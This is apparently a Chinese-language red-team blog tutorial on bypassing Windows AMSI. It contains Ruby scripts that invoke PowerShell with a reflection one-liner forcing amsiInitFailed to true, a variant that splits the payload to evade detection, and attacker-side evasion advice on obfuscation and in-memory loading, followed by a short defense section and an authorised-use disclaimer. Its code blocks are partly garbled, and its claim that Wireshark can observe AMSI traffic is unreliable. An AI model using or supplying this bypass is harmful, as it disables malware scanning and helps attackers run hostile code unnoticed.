一、反侦察:AMSI的秘密

在现代攻击者与防御者之间的斗争中,Windows的反恶意软件扫描接口(AMSI)作为重要的安全防线,为防御者提供了一种识别恶意代码的机制。然而,作为红队专家,我会从攻击者的角度来分析AMSI,寻找绕过的方法。AMSI的设计初衷是检测恶意软件,特别是在PowerShell脚本中,但其实现方式并不完美。

黑客示意图

AMSI是如何工作的?

AMSI通过拦截脚本执行过程,并将其内容传递给注册的反病毒软件进行扫描。这个过程无论是在PowerShell中执行的脚本,还是在VBA宏中运行的代码,AMSI都会尝试检测可疑活动。它在执行过程中自动调用"AMSI Scan Buffer",将脚本代码片段提供给防病毒引擎进行分析。

攻击者的视角

如果我是攻击者,我会从以下几个方面来攻破AMSI:

  1. 分析AMSI接口的调用方式: 确定可能的拦截点。
  2. 识别AMSI的依赖组件: 找出可能的弱点。
  3. 查找已知绕过方法: 研究已有的攻击思路并加以改进。

这种分析能让我更清楚地了解AMSI的防御机制,并从中寻找突破口。

二、构造奇袭:环境搭建

在进行任何攻击前,搭建一个真实的实验环境是至关重要的,这能给我们提供一个绝佳的测试场所。以下是搭建环境的步骤,以便于我们进行AMSI绕过的实验。

所需工具及软件

  • Windows 10 虚拟机:启用PowerShell并确保其版本支持AMSI。
  • 开发工具:Ruby,用于编写攻击脚本。
  • 网络监控工具:Wireshark,便于观察流量。

环境安装

黑客示意图

  1. 安装Windows 10 VM:
  • 使用VirtualBox或VMware Workstation来运行Windows 10。
  • 确保Windows Defender是开启的状态,以验证AMSI的触发。
  1. Ruby环境准备:
  • 下载Ruby并进行安装。
  • 验证安装成功,可以通过ruby -v来确认。

黑客示意图

  1. Wireshark安装:
  • 在系统中安装Wireshark,用于捕获并分析网络流量。
  • 通过观察流量,确保AMSI在触发时的数据交换。

实验环境验证

确保一切安装正常后,我们可以开始构建攻击脚本,并在虚拟机中逐步测试AMSI绕过的效果。

三、Payload构造的艺术

在构建攻击载荷时,我们需要绕过AMSI的检测,同时让攻击有效果。通过深入的代码分析,我们可以找到绕过AMSI的一些技术手段。

POC代码实现

<pre><code class="language-ruby"># 这是一个简单的Ruby脚本,旨在显示如何在PowerShell中绕过AMSI

def bypass_amsi payload = &lt;&lt;~SHELL

使用PowerShell进行基础命令执行

[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true) SHELL

执行PowerShell命令

system(&quot;powershell.exe -Command \&quot;#{payload}\&quot;&quot;) end

bypass_amsi</code></pre>

代码效果

代码分析: 上述Ruby代码通过调用PowerShell,利用反射修改AMSI的状态,使其检测失败。我们的目标是使amsiInitFailed标志变为true,从而绕过AMSI检测。

技术原理

  • 反射机制: 利用.NET反射来访问和修改非公共成员。
  • 静态字段修改: amsiInitFailed是AMSI的内部状态字段,修改这个字段可以有效地绕过AMSI检测。

四、隐匿行踪:绕过与免杀技巧

作为攻击者,我们不仅要绕过AMSI,还要确保攻击载荷不会被杀毒软件识别为恶意。

有效规避技术

  1. 代码混淆: 通过多层代码混淆,使得代码难以被静态分析工具检测。
  2. 内存加载: 将恶意代码加载到内存中,避免在磁盘上留下痕迹。

实践技巧

  • 动态生成脚本: 使用Ruby脚本动态生成PowerShell命令,降低静态分析成功率。
  • 分割载荷: 将载荷分割为多个片段,通过多个命令执行。

实战演示

<pre><code class="language-ruby"># 动态生成和执行PowerShell命令的Ruby脚本

def dynamic_payload payload_parts = [ &#039;[Ref].Assembly.GetType(\&#039;System.Management.Automation.AmsiUtils\&#039;)&#039;, &#039;.GetField(\&#039;amsiInitFailed\&#039;,\&#039;NonPublic,Static\&#039;).SetValue($null,$true)&#039; ]

拼接命令并执行

final_payload = payload_parts.join system(&quot;powershell.exe -Command \&quot;#{final_payload}\&quot;&quot;) end

dynamic_payload</code></pre>

案例思考

通过将攻击载荷拆解成多个部分并动态执行,能够有效绕过AMSI的检测,同时避免攻击被检测和拦截。

五、捕获风暴:检测与防御

作为红队专家,虽然我们的目标是攻击,但理解防御者的策略同样重要。这能帮助我们迭代攻击策略,并提高对抗成功率。

防御者的策略

  • 实时监控: 使用EDR解决方案进行实时行为监控。
  • 规则更新: 不断更新AMSI规则库,以捕获新的攻击手法。

对抗建议

  1. 流量分析: 使用Wireshark捕获并分析可疑流量。
  2. 脚本审查: 定期审查PowerShell脚本和日志,识别异常活动。

经验总结

在攻击过程中,我们发现AMSI虽然强大,但并不是无懈可击。通过合理的策略和技术手段,我们可以在检测与防御系统的漏洞中找到突破口。

六、暗影漫步:个人经验分享

在多年的红队工作中,绕过AMSI是一项常见任务。通过许多次的实战,我总结了一些经验,这些经验不仅仅是技术上的,还有战略上的。

技术上的细节

  • 多层次攻击链: 始终构建多层次的攻击链,以确保攻击能够在多种环境下执行。
  • 不断学习: 安全领域瞬息万变,保持对新技术的敏锐嗅觉。

战略上的思考

  • 攻守兼备: 理解防御者的策略可以帮助我们构建更强大的攻击方案。
  • 合作创新: 与其他红队成员合作,分享经验以迭代攻击手段。

最后思考

红队的工作不仅仅是攻破系统,更是推动整个安全行业的进步。在不断变化的安全环境中,我们需要不断创新和适应,才能保持领先。希望这篇文章能够为你提供一些启发和实用技巧,助你在红队工作中取得更大成功。

---

声明: 本文所述技术仅用于授权安全测试和研究,请勿用于非法用途。感谢你的阅读与支持!